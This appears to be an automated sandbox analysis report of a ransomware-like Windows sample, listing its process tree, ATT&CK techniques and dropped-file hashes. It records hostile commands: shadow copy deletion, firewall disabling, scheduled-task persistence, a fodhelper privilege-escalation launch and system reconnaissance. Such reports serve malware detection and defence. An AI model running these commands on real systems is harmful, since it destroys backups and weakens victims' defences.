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C:\Windows\System32\fodhelper.exe"C:\Windows\System32\fodhelper.exe"2⤵
- Suspicious use of WriteProcessMemory
PID:5160 -
C:\Users\Admin\AppData\Local\Temp\vebo.vn_hyber.exe"C:\Users\Admin\AppData\Local\Temp\vebo.vn_hyber.exe"3⤵PID:3700
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\makelnk.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:932
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "SysUpdateTask" /tr "C:\Users\Admin\AppData\Local\Temp\vebo.vn_hyber.exe" /sc onlogon /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:5244
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C:\Windows\System32\notepad.exe"C:\Windows\System32\notepad.exe"2⤵PID:4948
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\del.bat" "2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5876 -
C:\Windows\system32\vssadmin.exevssadmin delete shadows /all /quiet3⤵
- Interacts with shadow copies
PID:4276
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C:\Windows\System32\Wbem\WMIC.exewmic shadowcopy delete3⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
PID:2352
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c systeminfo > "C:\ProgramData\SysUpdate\Logs\sysinfo.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1116 -
C:\Windows\system32\systeminfo.exesysteminfo3⤵
- Gathers system information
PID:1384
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c tasklist > "C:\ProgramData\SysUpdate\Logs\tasklist.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2892 -
C:\Windows\system32\tasklist.exetasklist3⤵
- Discovers running processes
- Suspicious use of AdjustPrivilegeToken
PID:3188
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c whoami > "C:\ProgramData\SysUpdate\Logs\whoami.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5888 -
C:\Windows\system32\whoami.exewhoami3⤵
- Suspicious use of AdjustPrivilegeToken
PID:1824
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c net user > "C:\ProgramData\SysUpdate\Logs\netuser.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4392 -
C:\Windows\system32\net.exenet user3⤵
- Suspicious use of WriteProcessMemory
PID:4532 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 user4⤵PID:2624
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c ipconfig /all > "C:\ProgramData\SysUpdate\Logs\ipconfig.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:5776 -
C:\Windows\system32\ipconfig.exeipconfig /all3⤵
- Gathers network information
PID:432
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C:\Windows\SYSTEM32\cmd.exe"cmd.exe" /c netstat -an > "C:\ProgramData\SysUpdate\Logs\netstat.txt"2⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:4780 -
C:\Windows\system32\NETSTAT.EXEnetstat -an3⤵
- Gathers network information
- Suspicious use of AdjustPrivilegeToken
PID:2464
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C:\Windows\SYSTEM32\schtasks.exe"schtasks" /create /tn "RansomwareCheck" /tr "C:\Users\Admin\AppData\Local\Temp\vebo.vn_hyber.exe" /sc daily /f2⤵
- Scheduled Task/Job: Scheduled Task
PID:2808
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C:\Windows\System32\wscript.exe"C:\Windows\System32\wscript.exe" C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs2⤵
- Executes a VBScript file via the Windows Script Host.
PID:4692
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C:\Windows\System32\vssadmin.exe"C:\Windows\System32\vssadmin.exe" delete shadows /all /quiet2⤵
- Interacts with shadow copies
PID:2984
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C:\Windows\System32\wbem\WMIC.exe"C:\Windows\System32\wbem\WMIC.exe" shadowcopy delete2⤵
- Reads the TCP/IP host and domain name from the registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2524
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C:\Windows\System32\net.exe"C:\Windows\System32\net.exe" stop srservice2⤵
- Suspicious use of WriteProcessMemory
PID:4584 -
C:\Windows\system32\net1.exeC:\Windows\system32\net1 stop srservice3⤵PID:4880
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C:\Windows\System32\netsh.exe"C:\Windows\System32\netsh.exe" advfirewall set allprofiles state off2⤵
- Modifies Windows Firewall
- Event Triggered Execution: Netsh Helper DLL
PID:1792
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" config i8042prt start= disabled2⤵
- Launches sc.exe
PID:1492
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C:\Windows\System32\sc.exe"C:\Windows\System32\sc.exe" stop i8042prt2⤵
- Launches sc.exe
PID:1328
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C:\Windows\system32\LogonUI.exe"LogonUI.exe" /flags:0x0 /state0:0xa3a20855 /state1:0x41c64e6d1⤵
- Drops file in System32 directory
- Drops file in Windows directory
- Checks processor information in registry
- Modifies data under HKEY_USERS
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:4108
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C:\Windows\System32\svchost.exeC:\Windows\System32\svchost.exe -k CameraMonitor1⤵PID:4768
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C:\Users\Admin\AppData\Local\Temp\vebo.vn_hyber.exeC:\Users\Admin\AppData\Local\Temp\vebo.vn_hyber.exe1⤵PID:5780
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C:\Users\Admin\AppData\Local\Temp\vebo.vn_hyber.exeC:\Users\Admin\AppData\Local\Temp\vebo.vn_hyber.exe1⤵PID:4516
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵PID:3712
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k GPSvcGroup1⤵PID:2800
Network
MITRE ATT&CK Enterprise v16
Execution
Command and Scripting Interpreter
4PowerShell
1Visual Basic
1Windows Command Shell
1Scheduled Task/Job
1Scheduled Task
1System Services
2Service Execution
2Windows Management Instrumentation
1Persistence
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Privilege Escalation
Boot or Logon Autostart Execution
2Registry Run Keys / Startup Folder
2Create or Modify System Process
4Windows Service
4Event Triggered Execution
1Netsh Helper DLL
1Scheduled Task/Job
1Scheduled Task
1Defense Evasion
Direct Volume Access
1Impair Defenses
3Disable or Modify System Firewall
1Disable or Modify Tools
1Indicator Removal
2File Deletion
2Modify Registry
3Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
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Downloads
- Path C:\SystemVolumeInformation\doc_2.pdf
- Size 66KB
- SHA256 0a4b8a2d63ef9c09b434b26c652a308016f1913154250359a6a0695c80999b76
- MD5 f354fb6f90a82517158ef12ad48a6928
- SHA1 ebdd7c52a505870dd7f9051289adc83ace09d44a
- SHA512 44976199631aaddc2909bb8e95dec42118f02405d108ab3c06d9e39285f71a4d7cca7abe51d8bb80b944043df48bd2e7c13a0e751674f2bec02f483da60cf020
- SSDEEP 1536:R2Rveo0zwn1+7cRMa3EJduEYDqzEVOdIWoqojXQQdGU4I13Vxed8E1e3O:RgvQzwnA81EHYDgw5XQQoRIJVxed8E1n
- TLSH T191632A734A23FCC5677F3D40F1542D820C883A678775A66CFBC90A9538B5688EF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH
- Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_b3yzvvjm.0x3.psm1
- Size 60B
- SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
- MD5 d17fe0a3f47be24a6453e9ef58c94641
- SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
- SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
- TLSH T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\createshortcut.vbs
- Size 238B
- SHA256 719f0c51b1301cc58ad1ceaa9c03c2822258edf44c736de1ad7317974e9ec0f5
- MD5 9858f731053cda243f6c75df8c41e9b0
- SHA1 47e367790852111dfde2b5329465cde5a163bc8c
- SHA512 d514d77d0bd6a5635d7d80d75405ad11550da158f746f7eba87bb25f1b97dba1abcf4db79ea11f20db445c144298ced16cda732039f7afc971945ae62f145312
- TLSH T1FFD0A79BB14DC6A90001523B81F38E8DE5B548283B1BBE604AA5DD4E36919848AF6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\del.bat
- Size 59B
- SHA256 a51f2a0f053ac35b4158bb02b75421ab3698e1d0ee4f926abf1bae3af1570c53
- MD5 9cecbebdcdd60358132849714a3b82f7
- SHA1 be6e20834a5726f3742f05e6bdfaff16118b147f
- SHA512 7b48bd66b4c741d2de2e8b7bc0eab8f438ddc1ed0c73e8b70add9bee400f6640f692884965032616e2d6911a22a17d1d3762421aa49fe021660c9052cfc0675a
- TLSH T13DA002620F961E5469529E5AD73425239D1F104CD1390012F05232903DA98DE0EC2144
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\AppData\Local\Temp\makelnk.vbs
- Size 239B
- SHA256 c289921713ecebcda70e236930e201bcdbc1b0561a1f07c4bf4d2ab4c130e425
- MD5 5d207840ffc1529d82518c7dc26585c6
- SHA1 1a8051a58bb6eac60d41f91824d6a99200390fc6
- SHA512 7f00287ccdb005ecad850b25f15f259263a6450556a0eea468a3ff165346531a473adcc8c7053049eb299606ca6bb79f6a376ddee3dbddc51a7d80e7a6f2ad51
- TLSH T1A1D0A79BB14DC6A90001523F81F38E8DE6E648283B1BBE609AA5DD0E36819848AF6543
- MD5 SHA1 SHA512 TLSH
- Path C:\Users\Admin\Documents\invoice_1.pdf
- Size 66KB
- SHA256 a83541a68f1a9b9aeef91a587a975cef247662d73efc32cafb0e68bc06c34266
- MD5 898a33310034690c52fd21307293f89c
- SHA1 73bb89750c2fb85d07f624fe415f3e192db5792e
- SHA512 3e43c095f23fdd405f0a7d22bc5dc5d14342f130405bc63c09d410970e62bd1cfbff079a32cac1cdea4868b5c557b66f4116c9d0dace4f56582b2de239ca779e
- SSDEEP 1536:x2Rveo0zwn1+7cRMa3EJduEYDqzEVOdIWoqojXQQdGU4I13Vxed8E1e3v:xgvQzwnA81EHYDgw5XQQoRIJVxed8E1k
- TLSH T117632B334623FCC5677F3D40F1543D920C883A678775A66CFBC90A9538A5688EF2D998
- MD5 SHA1 SHA512 SSDEEP TLSH